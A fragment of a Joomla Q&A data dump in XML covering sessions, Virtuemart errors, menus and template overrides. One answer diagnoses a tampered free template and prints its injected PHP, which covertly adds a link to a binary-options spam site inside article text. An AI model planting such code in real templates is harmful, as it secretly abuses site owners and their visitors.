Hostgator control panel.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2015-12-07T14:06:15.730" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14583" PostTypeId="2" ParentId="14563" CreationDate="2015-12-07T14:29:25.770" Score="1" Body="&lt;p&gt;I assume what the client is after specifically is an icon and the file to open/download when clicked on. And this to be added easily by him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why wouldn't you simply create a CSS class for these external links which places a copy of the attachment icon before the link? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then show the client how to add an external link that opens in a new target window and how to include the CSS class in the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certainly not as elegant as a custom coded solution, but much easier to implement and unless you put in some decent coding time, probably a lot more flexible.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2015-12-07T14:29:25.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14584" PostTypeId="2" ParentId="14567" CreationDate="2015-12-07T14:45:48.117" Score="0" Body="&lt;p&gt;I'd be looking first at the ready made list/directory/download apps such as JB Catalog which might be best suited out of the box for your application. Sobi Pro might be a very quick solution for your needs too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise review the others apps listed by @FFrewin such as Fabrik, Cobalt, Content Builder, Seblod, K2, which are very flexible and feature rich.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They support various forms of import as well which could save you a lot of time in content setup.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2015-12-07T14:45:48.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14585" PostTypeId="1" CreationDate="2015-12-07T15:17:34.927" Score="1" ViewCount="247" Body="&lt;p&gt;I am getting an error while trying to view the system info of my Joomla site. I am on Joomla 3.4.5.The error is as shown&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Class 'JPlatform' not found in /public_html/mywebsite/administrator/components/com_admin/models/sysinfo.php on line 138. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What could be the cause of this error? Any help to resolve this would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5507" LastEditorUserId="1629" LastEditDate="2016-01-06T16:25:46.500" LastActivityDate="2016-01-06T16:25:46.500" Title="Error viewing Joomla system info" Tags="|joomla-3.x|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14586" PostTypeId="2" ParentId="14585" CreationDate="2015-12-07T15:34:03.713" Score="1" Body="&lt;p&gt;At a guess, there has been an issue somewhere in your upgrades. I'd simply suggest:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.4.5/Joomla_3.4.5-Stable-Full_Package.zip&quot; rel=&quot;nofollow&quot;&gt;Downloading a fresh copy of Joomla 3.x&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extract &lt;code&gt;administrator/components/com_admin&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Zip it up&lt;/li&gt;&#xA;&lt;li&gt;Upload it to your server&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-12-07T15:34:03.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14588" PostTypeId="1" AcceptedAnswerId="14589" CreationDate="2015-12-07T16:39:21.960" Score="10" ViewCount="1993" Body="&lt;p&gt;I am trying to redirect my website to the homepage when the session expires and the user is automatically logged out (right now it gets redirected to the joomla core registration page, which I don't want the user to see because I have created my own registration page in a custom component).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the index.php file of my template, I check if the session is active and perform a redirect if the session expired:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;&#xA;if (!$session-&amp;gt;isActive()) {&#xA;   echo &quot;session is expired&quot;;   &#xA;   header('Location: http://www.example.com/');&#xA;   exit;&#xA; }else{&#xA;   echo &quot;session is active&quot;;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This solution worked fine up until the moment I updated to Joomla 3.4.5. After the update, even when the user is logged out automatically, it behaves as if the session is still active (I check that through the echo &quot;session is active&quot; line, as you can see above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the session still active even if the user is logged out ? Is there an alternative to the $session-&gt;isActive() method ?&lt;/p&gt;&#xA;" OwnerUserId="3863" LastActivityDate="2015-12-08T11:09:49.623" Title="Joomla Session-&gt;isActive() &amp; session timeout redirect not working" Tags="|session|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14589" PostTypeId="2" ParentId="14588" CreationDate="2015-12-07T16:50:33.217" Score="7" Body="&lt;p&gt;If you look at the session.php file, you see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function isActive()&#xA;{&#xA;    return (bool) ($this-&amp;gt;_state == 'active');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is the function you're calling. I'm not sure if this was done purposely or if it was a mistake, but it will always return &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;echo $session-&amp;gt;getState();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will return one if the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;inactive&lt;/li&gt;&#xA;&lt;li&gt;active&lt;/li&gt;&#xA;&lt;li&gt;expired&lt;/li&gt;&#xA;&lt;li&gt;destroyed&lt;/li&gt;&#xA;&lt;li&gt;error&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can then base your &lt;code&gt;if&lt;/code&gt; statement on this, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;&#xA;if ($session-&amp;gt;getState() !== 'active') &#xA;{&#xA;    echo 'session is not active';   &#xA;    header('Location: http://www.example.com/');&#xA;    exit;&#xA;}&#xA;else&#xA;{&#xA;    echo 'session is active';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a side note, I'd suggest using Joomla &lt;code&gt;JFactory::getApplication()-&amp;gt;redirect()&lt;/code&gt; method instead of &lt;code&gt;header()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-12-08T11:09:49.623" LastActivityDate="2015-12-08T11:09:49.623" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14591" PostTypeId="2" ParentId="14249" CreationDate="2015-12-08T09:11:39.823" Score="1" Body="&lt;p&gt;A patch for this problem has been submitted: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/8591#issuecomment-162313952&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/8591#issuecomment-162313952&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2015-12-08T09:11:39.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14594" PostTypeId="1" CreationDate="2015-12-08T13:09:45.130" Score="1" ViewCount="465" Body="&lt;p&gt;I am running joomla version 2.5.19 and virtuemart version 2.6.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site was working just fine until recently i noticed when i visit a specific category, it throws a 500 error. That is in the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also get the same error if i visit the that particular category in the back end as well. I checked my server log files and i noticed there was an error that said something like this;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2015-12-01 08:14:37 ERROR vmError: related product is missing, maybe unpublished Yoga Wrap id: 36&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am thinking it could be some missing or inaccurate data in that particular category. How can i fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, how can i delete this products in that particular category via phpmyadmin?&lt;/p&gt;&#xA;" OwnerUserId="7388" LastActivityDate="2015-12-08T13:09:45.130" Title="Virtuemart category throws a 500 error" Tags="|virtuemart|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14595" PostTypeId="2" ParentId="13520" CreationDate="2015-12-08T14:29:08.160" Score="1" Body="&lt;p&gt;Have you tried FaLang? &#xA;FaLang is a (free) component for Joomla (2.x and 3.x) and is built on the base of JoomFish (which doesn't have any development anymore on J3.x).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With FaLang you are able to translate the content, categories, menu-items of Joomla without the need to duplicate the contents.&#xA;Even for some components as HikaShop, K2, jDownload and many others they made it possible to translate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works like this: You create an article in your base language. If you have a paid version of FaLang, you can edit the content right after saving in the same view. Otherwise, you'll need to go to the FaLang component where you can edit the other languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details about FaLang: &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/languages/multi-lingual-content/falang&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/languages/multi-lingual-content/falang&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a video about the plugin and how it exactly works: &lt;a href=&quot;https://www.youtube.com/watch?v=yT8PkNKoTeE&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=yT8PkNKoTeE&lt;/a&gt;&#xA;In this video they use J2.x, but it is roughly the same as in 3.x.&lt;/p&gt;&#xA;" OwnerUserId="7389" LastEditorUserId="7389" LastEditDate="2015-12-09T07:25:25.043" LastActivityDate="2015-12-09T07:25:25.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14596" PostTypeId="1" AcceptedAnswerId="14597" CreationDate="2015-12-08T14:42:43.993" Score="0" ViewCount="240" Body="&lt;p&gt;I've installed the latest Joomla + &lt;a href=&quot;http://www.freshjoomlatemplates.com/free-joomla-3-5-template-jpeople/&quot; rel=&quot;nofollow noreferrer&quot;&gt;jPeople template&lt;/a&gt;. Nothing else. No sample data or other other templates / modules etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created 1 article:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Oj7lC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oj7lC.png&quot; alt=&quot;Article inside Admin Panel&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a simple Menu item towards this article, with the following result:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vqkes.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vqkes.png&quot; alt=&quot;End result on website&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the part above the &quot;Read More...&quot; is not shown at all. This might be the way it's supposed to be. Not sure about that. But it's also showing the part underneath it twice. I thought this might have something to do with caching, but that template has no caching settings and Joomla's cache is also empty. So I'm a bit out of ideas on what's going on and how to fix both issues?&lt;/p&gt;&#xA;" OwnerUserId="7390" LastActivityDate="2015-12-08T15:10:52.900" Title="Joomla 3 + jPeople template only showing text after “Read More” and showing it double" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14597" PostTypeId="2" ParentId="14596" CreationDate="2015-12-08T15:10:52.900" Score="0" Body="&lt;p&gt;It turned out the template was fake. Or at least tempered with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside &quot;&lt;em&gt;jPeople/html/com_content/article/default.php&lt;/em&gt;&quot; on line 156:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($current_id == $ids[4]) &amp;amp;&amp;amp; ($count_array &amp;gt;= 5 )) {&#xA;    $para_array = explode(' ', $item_text);&#xA;    $item_text = preg_replace('/' . $para_array[37] . '/','&amp;lt;a id=&quot;main-article&quot; href=&quot;http://www.americanbinaryoptions.com/&quot;&amp;gt;' . $para_array[37] . '&amp;lt;/a&amp;gt;',$item_text, 1);&#xA;    echo $item_text;&#xA;} else {&#xA;    echo $item_text;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on line 194:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;text; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it was echoing the articles text twice with the first echo trying to replace the article with spam.&lt;/p&gt;&#xA;" OwnerUserId="7390" LastActivityDate="2015-12-08T15:10:52.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14598" PostTypeId="1" CreationDate="2015-12-08T16:23:42.913" Score="0" ViewCount="123" Body="&lt;p&gt;We need a form where people need to register for an interview, but we need to ensure a person can select multiple dates (like Dec 7, Dec 9, Dec 11) and times (9 a.m. on Dec 7, 11 a.m. on Dec 7, 3 p.m. on Dec 9 and 2 p.m., 4 p.m. for Dec 11) interview. Also, the next person choosing a date/time cannot select a date and time which has been reserved earlier by someone else. &#xA;We are running Joomla 3.3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which Joomla extension can do it? I heard Breezing forms would need lot of custom code for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7391" LastActivityDate="2017-08-03T00:02:29.583" Title="Extension for scheduling an interview" Tags="|joomla-3.3.x|extensions|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14599" PostTypeId="2" ParentId="14598" CreationDate="2015-12-08T16:34:38.683" Score="1" Body="&lt;p&gt;You can do this with most Events plugins. Just call the 'event' an interview. Set the number available for each day/time to 1 and no-one else can 'book' the slot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find an events plugin that will allow you to customise the pages/titles as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any form plugin would require a lot of work to achieve the same thing.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastEditorUserId="126" LastEditDate="2015-12-08T17:57:51.183" LastActivityDate="2015-12-08T17:57:51.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14600" PostTypeId="1" CreationDate="2015-12-08T16:49:14.547" Score="2" ViewCount="343" Body="&lt;p&gt;I am using bootstrap's nav in the menu (using a module called mod_bootstrapnav)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the issue is that when the menu is has subitems, I have to follow these steps to get the submenu to display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Click on main parent item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Hover off the parent item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Hover over the parent item again - and then only does the dropdown menu display.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am including the module code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @version     1.7&#xA; * @package     mod_bootstrapnav&#xA; * @copyright   Copyright (C) 2014. All rights reserved.&#xA; * @license     http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL&#xA; * @author      Brad Traversy &amp;lt;support@bootstrapjoomla.com&amp;gt; - http://www.bootstrapjoomla.com&#xA; */&#xA;//No Direct Access&#xA;defined('_JEXEC') or die;&#xA;$user = JFactory::getUser();&#xA;$name=substr($user-&amp;gt;name, 0, strrpos($user-&amp;gt;name, ' '));&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;?php if($nav_type == 'navbar') : ?&amp;gt;&#xA;&#xA;    &amp;lt;nav class=&quot;navbar navbar-default&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;container-fluid&quot;&amp;gt;&#xA;            &amp;lt;!-- Brand and toggle get grouped for better mobile display --&amp;gt;&#xA;            &amp;lt;div class=&quot;navbar-header&quot;&amp;gt;&#xA;                &amp;lt;button aria-expanded=&quot;false&quot; data-target=&quot;#bs-example-navbar-collapse-1&quot; data-toggle=&quot;collapse&quot; class=&quot;navbar-toggle collapsed&quot; type=&quot;button&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;sr-only&quot;&amp;gt;Toggle navigation&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;menu-text&quot;&amp;gt;menu&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;bs-example-navbar-collapse-1&quot; class=&quot;navbar-collapse collapse&quot; aria-expanded=&quot;false&quot; style=&quot;height: 1px;&quot;&amp;gt;&#xA;                &amp;lt;ul class=&quot;nav navbar-nav&quot;&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    if($user-&amp;gt;id &amp;gt; 0) {&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;dropdown&quot;&amp;gt;&#xA;                        &amp;lt;a role=&quot;button&quot; data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&amp;gt;&amp;lt;img src=&quot;images/home.png&quot;  alt=&quot;&quot;/&amp;gt; Hi &amp;lt;?php echo $name;?&amp;gt; &amp;lt;span class=&quot;caret&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Action&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Another action&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Something else here&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Separated link&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;One more separated link&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;                    &amp;lt;?php foreach ($list as $i =&amp;gt; &amp;amp;$item) : ?&amp;gt;&#xA;                        &amp;lt;?php&#xA;                        $class = $item-&amp;gt;id;&#xA;                        if($item-&amp;gt;id == $active_id){&#xA;                            //$class .= ' current';&#xA;                        }&#xA;                        if (in_array($item-&amp;gt;id, $path)){&#xA;                            $class .= ' active';&#xA;                        }&#xA;                        ?&amp;gt;&#xA;                        &amp;lt;?php if(!$item-&amp;gt;parent) : ?&amp;gt;&#xA;                            &amp;lt;?php if($item-&amp;gt;level == 1) : ?&amp;gt;&#xA;                                &amp;lt;li class=&quot;&amp;lt;?php echo $class; ?&amp;gt;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;flink; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;?php elseif($item-&amp;gt;parent) : ?&amp;gt;&#xA;                            &amp;lt;li class=&quot;dropdown&quot;&amp;gt;&#xA;                                &amp;lt;a aria-expanded=&quot;false&quot; aria-haspopup=&quot;true&quot; role=&quot;button&quot; data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt; &amp;lt;span class=&quot;caret&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;                                    &amp;lt;?php foreach ($list as $i =&amp;gt; &amp;amp;$subitem) : ?&amp;gt;&#xA;                                        &amp;lt;?php if($subitem-&amp;gt;parent_id == $item-&amp;gt;id) : ?&amp;gt;&#xA;                                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $subitem-&amp;gt;flink; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $subitem-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                        &amp;lt;?php endif; ?&amp;gt;&#xA;                                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;                                &amp;lt;/ul&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!--/.nav-collapse --&amp;gt;&#xA;            &amp;lt;div class=&quot;languse&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;list&quot;&amp;gt;&#xA;                    &amp;lt;h5&amp;gt;Emergency numbers&amp;lt;/h5&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--Container--&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;ul class=&quot;footer_menu list-unstyled&quot;&amp;gt;&#xA;        &amp;lt;?php foreach ($list as $i =&amp;gt; &amp;amp;$item) : ?&amp;gt;&#xA;            &amp;lt;?php&#xA;&#xA;            $class = 'footer_ul';&#xA;            ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;flink; ?&amp;gt;&quot; class=&quot;&amp;lt;?php echo $class; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;       &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /.list-group--&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7264" LastActivityDate="2015-12-08T17:28:03.613" Title="Strange behaviour with bootstrap nav in Joomla 3" Tags="|joomla-3.x|php|menu|bootstrap|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14601" PostTypeId="2" ParentId="14600" CreationDate="2015-12-08T17:28:03.613" Score="2" Body="&lt;p&gt;Solution Found:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unwanted behavior is caused by Joomla's frontend editing capability.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When logged in as an administrator it injects code into modules to allow frontend editing.  This causes unexpected behaviour.  Since the menu in question is a module, (and a third-party one at that) the only solution in this case is to disable frontend editing in the configuration.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.gavick.com/documentation/joomla/templates/customization/frontend-module-editing&quot; rel=&quot;nofollow&quot;&gt;https://www.gavick.com/documentation/joomla/templates/customization/frontend-module-editing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7264" LastActivityDate="2015-12-08T17:28:03.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14603" PostTypeId="2" ParentId="13672" CreationDate="2015-12-09T08:27:21.853" Score="2" Body="&lt;p&gt;You need an &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;override&lt;/strong&gt;&lt;/a&gt; for the layout. Follow the step by step here:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need create the override in the column:&lt;br/&gt;&#xA;&lt;strong&gt;Components&lt;/strong&gt; &gt; &lt;strong&gt;com_content&lt;/strong&gt; &gt; &lt;strong&gt;category&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9HIpS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9HIpS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the files in: &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;yoursite/templates/yourtemplate/html/com_content/category/blog_item.php&lt;/code&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here you can change the order for the block that contains &lt;em&gt;'&lt;strong&gt;show_category&lt;/strong&gt;'&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2016-06-17T23:23:50.517" LastActivityDate="2016-06-17T23:23:50.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14604" PostTypeId="2" ParentId="14426" CreationDate="2015-12-09T08:41:59.487" Score="1" Body="&lt;p&gt;When you create your articles you have a tab called &lt;strong&gt;Options&lt;/strong&gt;,&lt;br/&gt;from here, at the bottom, you can see the &lt;strong&gt;Read More field&lt;/strong&gt; for your &lt;br/&gt;custom text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2020-05-14T20:57:07.070" LastActivityDate="2020-05-14T20:57:07.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14605" PostTypeId="2" ParentId="8978" CreationDate="2015-12-09T08:55:42.643" Score="2" Body="&lt;p&gt;The best way for make your own version is making an &lt;strong&gt;override&lt;/strong&gt;.&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, here some docs for make the override step by step: &lt;br/&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you need create an override in the column:&lt;br/&gt;&#xA;&lt;strong&gt;Components&lt;/strong&gt; &gt; &lt;strong&gt;com_content&lt;/strong&gt; &gt; &lt;strong&gt;category&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can find the files in:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;yoursite/templates/yourtemplate/html/com_content/category/blog_item.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From here you can change the order for the block that contains &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'joomla.content.intro_image'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2020-05-14T21:44:28.437" LastActivityDate="2020-05-14T21:44:28.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
